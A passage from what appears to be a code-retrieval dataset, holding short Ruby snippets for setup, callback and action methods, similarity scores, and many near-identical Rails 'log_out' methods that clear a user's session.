"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def test_params
params.require(:test).permit(:nombre, :colegio, :nivel, :seccion, :edad, :ic, :icm, :pi_num, :pi_comp, :pi_cal, :pi_conc, :pf_conv, :pf_hecho, :pf_calc, :pf_conce)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981273",
"0.6783789",
"0.67460483",
"0.6742222",
"0.67354137",
"0.65934366",
"0.65028495",
"0.6497783",
"0.64826745",
"0.6479415",
"0.6456823",
"0.6440081",
"0.63800216",
"0.6376521",
"0.636652",
"0.6319898",
"0.6300256",
"0.62994003",
"0.6293621",
"0.6292629",
"0.6291586",
"0.629103",
"0.6282451",
"0.6243152",
"0.62413",
"0.6219024",
"0.6213724",
"0.62103724",
"0.61945",
"0.61786324",
"0.61755824",
"0.6173267",
"0.6163613",
"0.6153058",
"0.61521065",
"0.6147508",
"0.61234015",
"0.61168665",
"0.6107466",
"0.6106177",
"0.6091159",
"0.60817343",
"0.6071238",
"0.6062299",
"0.6021663",
"0.60182893",
"0.6014239",
"0.6011563",
"0.60080767",
"0.60080767",
"0.60028875",
"0.60005623",
"0.59964156",
"0.5993086",
"0.5992319",
"0.5992299",
"0.59801805",
"0.59676576",
"0.59606016",
"0.595966",
"0.59591126",
"0.59589803",
"0.5954058",
"0.5953234",
"0.5944434",
"0.5940526",
"0.59376484",
"0.59376484",
"0.5935253",
"0.5930846",
"0.5926387",
"0.59256274",
"0.5917907",
"0.5910841",
"0.590886",
"0.59086543",
"0.59060425",
"0.58981544",
"0.5898102",
"0.5896809",
"0.5895416",
"0.58947027",
"0.58923644",
"0.5887903",
"0.58830196",
"0.5880581",
"0.5873854",
"0.58697754",
"0.5869004",
"0.58669055",
"0.5866886",
"0.58664906",
"0.5864619",
"0.58630043",
"0.5862495",
"0.5861368",
"0.5859712",
"0.5855544",
"0.58551925",
"0.5851284",
"0.5850602"
] | 0.0 | -1 |
Logs out the given user. | def log_out
session[:user_id] = nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_log_out\n forget_user(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def user_log_out\n user_forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n if !current_user.nil?\n forget(current_user)\n\n session.delete(:user_id)\n session.delete(:user_type)\n @current_user = nil\n end\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\t# current_user.delete_auth_token # won't work with curl, but html is good\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user) #call user.forget\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n flash[:danger] = 'Logoff realizado!'\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n session.delete(:user_type_string)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user= nil\n\tend",
"def log_out\n reset_session\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t \tsession.delete(:user_id)\n\t \t@current_user =nil\n\t end",
"def log_off_user\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"def log_out\n forget current_user\n session.delete :user_id\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:type)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\r\n forget(current_user)\r\n session.delete(:user_id)\r\n @current_user = nil\r\n end",
"def log_out\n forget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n session.delete(:user_id)\n forget(@current_user)\n @current_user=nil\n end",
"def log_out\n forget(current_user)\n reset_session\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:username)\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\t\t# Setting @current_user to nil would only matter if @current_user were created before the destroy action (which it isn’t) and if we didn’t issue an immediate redirect (which we do). This is an unlikely combination of events, and with the application as presently constructed it isn’t necessary, but because it’s security-related I include it for completeness\n\tend",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n flash[:success] = \"You have successfully logged out.\"\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_out \n session.clear\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id) #remove the user id from the browser cache\n @current_user = nil\n end",
"def log_out\n\tforget(current_user)\n\tsession.delete(:user_id)\n\t@current_user = nil\nend",
"def log_out\n session.delete(:uid)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n # Logging out involves undoing the effects of the log_in method.\n session.delete(:user_id) # Delete the user id stored in the session.\n @current_user = nil # Clear the cached current user.\n end"
] | [
"0.79455703",
"0.7933259",
"0.79232",
"0.79226893",
"0.79226893",
"0.79226893",
"0.79226893",
"0.7885247",
"0.78839123",
"0.78839123",
"0.78839123",
"0.78839123",
"0.78839123",
"0.7846962",
"0.78389424",
"0.7814662",
"0.7803803",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.7803675",
"0.78000844",
"0.77814656",
"0.7779304",
"0.77789074",
"0.77765363",
"0.77585745",
"0.77508074",
"0.77508074",
"0.77508074",
"0.77508074",
"0.77508074",
"0.7746463",
"0.7731264",
"0.7722199",
"0.77172124",
"0.77170557",
"0.77161145",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
"0.77056015",
